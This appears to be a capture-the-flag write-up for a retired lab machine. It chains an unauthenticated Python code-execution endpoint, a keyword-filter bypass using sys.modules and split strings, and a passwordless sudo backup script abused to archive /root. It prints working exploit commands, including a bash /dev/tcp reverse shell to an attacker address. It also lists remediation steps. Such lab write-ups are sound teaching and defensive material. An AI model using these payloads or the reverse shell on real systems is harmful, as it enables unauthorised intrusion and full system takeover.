Code
Summary
The target exposed a Python code-runner on port 5000 that any unauthenticated user on the network could reach. The application attempted to block OS access by rejecting direct import os statements, but Python's sys.modules dictionary already held a live reference to the module — assembling the name from string fragments at runtime bypassed the filter in a single request, giving full shell access as the web-service account (app-production) and the user flag.
From that shell, a passwordless sudo rule permitted the account to run a backup script (backy.sh) as root. The script read its source-directory from my own JSON config file with no path validation; pointing it at /root caused it to create an archive of the root home directory, from which the root flag was extracted and full system compromise was achieved.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 3
nmap -Pn -sV -p 22,5000 $TARGETcurl -sS -i --max-time 10 http://$TARGET:5000/whatweb -a 3 http://$TARGET:5000 --color=never/run_code POST endpoint, which accepted arbitrary Python source, executed it server-side, and returned the output — with no login, API key, or CSRF token required. The application included a client-side hint that submissions were evaluated with exec() or eval(), and attempting print(1+1) confirmed live execution.Exact commands 2
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://$TARGET:5000/FUZZ -mc 200,204,301,302,307,401,403 -t 20 -maxtime 60curl -sS -X POST http://$TARGET:5000/run_code --data-urlencode 'code=print(1+1)'FixRemove the unauthenticated Python code-execution endpointCritical
/run_code endpoint that executed arbitrary Python code submitted by any network-reachable user with no authentication required. A one-line obfuscated payload using Python's built-in sys.modules dictionary bypassed the keyword filter and gave full shell access as the service account.import os and os.popen, but Python's runtime had already loaded the os module and stored it in sys.modules. By looking up the module with a split key ('o'+'s') and accessing popen through getattr() with a split string, I retrieved a live os reference without writing any blocked token. This one-liner executed arbitrary shell commands as the web-service user with no further obstacle.Exact commands 1
curl -sS --max-time 12 -X POST http://$TARGET:5000/run_code --data-urlencode "code=module=sys.modules['o'+'s']; p=getattr(module,'p'+'o'+'p'+'e'+'n')('id'); print(getattr(p,'r'+'e'+'a'+'d')())"app-production for local enumeration.Exact commands 3
base=http://$TARGET:5000; cmd='id; whoami; pwd; for f in /home/*/user.txt; do echo $f; cat $f 2>/dev/null; done'; code="module=sys.modules['o'+'s']; p=getattr(module,'p'+'o'+'p'+'e'+'n')('$cmd'); print(getattr(p,'r'+'e'+'a'+'d')()"); curl -sS --max-time 12 -X POST "$base/run_code" --data-urlencode "code=$code"nc -lvnp 4444curl -sS --max-time 12 -X POST http://$TARGET:5000/run_code --data-urlencode "code=module=sys.modules['o'+'s']; module.system('bash -c \"bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1\"')"app-production revealed a NOPASSWD entry permitting the account to run /usr/bin/backy.sh as root without supplying a password. Reading the script showed it accepted a JSON configuration file — path provided on the command line — that specified the source directory to archive. No check validated or restricted the path in any way.Exact commands 2
sudo -lcat /usr/bin/backy.shFixRemove the passwordless sudo rule for backy.sh and validate backup source pathsCritical
backy.sh immediately (visudo). If automated root-level backups are operationally required, hard-code the permitted source paths inside the script itself — never read them from a user-supplied file — and validate the resolved path against the whitelist before any archive operation. Restrict execution to a dedicated, non-interactive backup service account rather than the web-service user. Audit all sudo rules fleet-wide with sudo -l and remove any NOPASSWD grants that cannot be justified by a documented operational need.backy.sh placed no restriction on the JSON-supplied source path, I created a config file naming /root as the backup source. Running the script under sudo caused it to create a compressed archive of the entire root home directory — including root.txt — and write it to a world-readable location. Extracting the archive gave the root flag and confirmed full system control.Exact commands 5
mkdir -p /tmp/extracted; echo '{"src":"/root","dst":"/tmp/pwned"}' > /tmp/evil.jsonsudo /usr/bin/backy.sh /tmp/evil.jsonls /tmp/pwned/tar xf /tmp/pwned/*.tar.gz -C /tmp/extracted/cat /tmp/extracted/root/root.txtExposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0) |
| 5000/tcp | http Gunicorn 20.0.4 |